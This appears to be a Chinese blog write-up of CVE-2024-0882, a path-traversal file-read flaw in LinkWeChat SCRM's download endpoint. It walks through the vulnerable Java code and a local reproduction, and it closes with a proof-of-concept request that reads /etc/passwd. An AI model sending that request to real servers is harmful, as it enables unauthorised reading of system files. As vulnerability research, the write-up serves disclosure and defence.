CVE-2024-0882 Scrm LinkWeChat 任意文件读取漏洞分析与研究

漏洞描述

LinkWeChat 是基于企业微信的开源 SCRM 系统,是企业私域流量管理与营销的综合解决方案。

LinkWeChat 基于企业微信开放能力,不仅集成了企微强大的后台管理及基础的客户管理功能,而且提供了多种渠道、多个方式连接微信客户。并通过客情维系、聊天增强等灵活高效的客户运营模块,让客户与企业之间建立强链接,从而进一步通过多元化的营销工具,帮助企业提高客户运营效率,强化营销能力,拓展盈利空间。

主要运用于电商、零售、教育、金融、政务等服务行业领域。​​​​​​

复制代码
开发语言:Java官网地址:https://www.linkwechat.net/项目地址:https://github.com/qwdigital/LinkWechat-Scrm
漏洞后端代码

文件位于

linkwe-auth\src\main\java\com\linkwechat\web\controller\common\CommonController.java

这个控制器下存在一个resourceDownload方法

java 复制代码
/**
 * 本地资源通用下载
 */
@GetMapping("/common/download/resource")
public void resourceDownload(String name, HttpServletRequest request, HttpServletResponse response) throws Exception {
    // 本地资源路径
    String localPath = LinkWeChatConfig.getProfile();
    // 数据库资源地址
    String downloadPath = localPath + StringUtils.substringAfter(name, Constants.RESOURCE_PREFIX);
    // 下载名称
    String downloadName = StringUtils.substringAfterLast(downloadPath, "/");
    response.setCharacterEncoding("utf-8");
    response.setContentType("multipart/form-data");
    response.setHeader("Content-Disposition",
            "attachment;fileName=" + FileUtils.setFileDownloadHeader(request, downloadName));
    FileUtils.writeBytes(downloadPath, response.getOutputStream());
}

String localPath = LinkWeChatConfig.getProfile();后得到一个本地目录,例如D:/linkWeChat/uploadPath

看看StringUtils.substringAfter 这个工具方法对我们的name值做了什么处理

注意传入的参数Constants.RESOURCE_PREFIX 是/profile

跟入StringUtils.substringAfter 方法

其要注意的是

else语句块代码用于从字符串 str 中获取分隔符 separator 后面的子字符串,就是说name值里面必须要有/profile

之后与localPath进行拼接 组成downloadPath,这里就可以尝试用../的方式进行拼接,具体怎么样,让我们往后看...

跟入StringUtils.substringAfterLast方法 得到downloadName 值

提取最后一个"/"出现的位置---pos

pos != -1成立与pos != str.length() - separator.length()成立 则会获取字符串str的第pos+1个字符到结尾的所有字符 返回赋值downloadName

之后执行FileUtils.setFileDownloadHeader 返回字符串,设置返回头,至此downloadName就没什么事了

我们重点分析FileUtils.writeBytes方法,

我们在new File的时候,如果filepath有../jdk底层会正确解析吗! 经过测试new File的确可以接受../的文件名可以正常被解析

漏洞本地漏洞复现

本次复现不同以往,此次使用本地代码运行验证改漏洞的存在

java 复制代码
public static void main(String[] args) throws IOException {
        String localPath = LinkWeChatConfig.getProfile();
        String filePath = "D:\\文档\\1.txt";
        OutputStream os = new FileOutputStream(new File(filePath));

        // 数据库资源地址
        String name = "/profile/../../../../../../../../../../windows/win.ini";
        String downloadPath = localPath + StringUtils.substringAfter(name, Constants.RESOURCE_PREFIX);
        // 下载名称
        String downloadName = StringUtils.substringAfterLast(downloadPath, "/");

        FileUtils.writeBytes(downloadPath, os);
/*        new SpringApplicationBuilder(LinkWeAuthApplication.class)
                .properties("spring.config.name:bootstrap", "config/run/bootstrap.yml")
                .properties("spring.application.name=linkwe-auth")
                .build().run(args);
        System.out.println("(♥◠‿◠)ノ゙  LinkWe-auth启动成功   ლ(´ڡ`ლ)゙ ");*/
    }

没有找到准备的test文件夹测试,索性直接注释掉启动代码,将resourceDownload方法内的代码搬过来。设置name值模拟用户输入

运行,如果不出意外,1.txt已经被写入win.ini的内容,与实际访问不同的是,服务器是以流的形式返回给用户

win.ini的确存在,漏洞验证成功。

附赠poc

GET /linkwechat-api/common/download/resource?name=/profile/../../../../../etc/passwd HTTP/1.1

Host:

Cookie: Admin-Token=需要

authorization: 需要

后续修复

-----本次测试是LinkWechat-Scrm-5.1.0版本,漏洞作者验证这个版本漏洞存在。目前最新版没有对这个方法类做任何修改....但不确定name值在参数绑定前,过滤会怎么判断它......能否被利用需实际测试.......

相关推荐
鹿角片ljp1 小时前
LeetCode 64:最小路径和复盘|二维 DP 与 ACM 模式完整写法
java·数据结构·算法
泡海椒2 小时前
PDF 表格样式优化:jquick-pdf 边框、圆角、背景色
java·开发语言·pdf
景熙55234 小时前
15.Java 8 Stream 流入门到实战
java·开发语言·数据结构
wno7044 小时前
Spring Security权限控制
java·python·spring
杨运交5 小时前
[071][验证码模块]基于Spring拦截器的验证码认证设计思想
java·后端·spring
Geek-Chow5 小时前
CountDownLatch in Java
java
SL_staff5 小时前
从RBAC到场景化授权:《无忧·企业文档》三级权限模型的技术实践解析
java·开源·产品
传奇开心果编程6 小时前
【springboot基础语法学与练】第 1 课:从零开始
java·spring boot·后端·学习
SL_staff6 小时前
财务系统慎用低代码?从数据模型闭环看合规落地的技术实践
java·低代码·全栈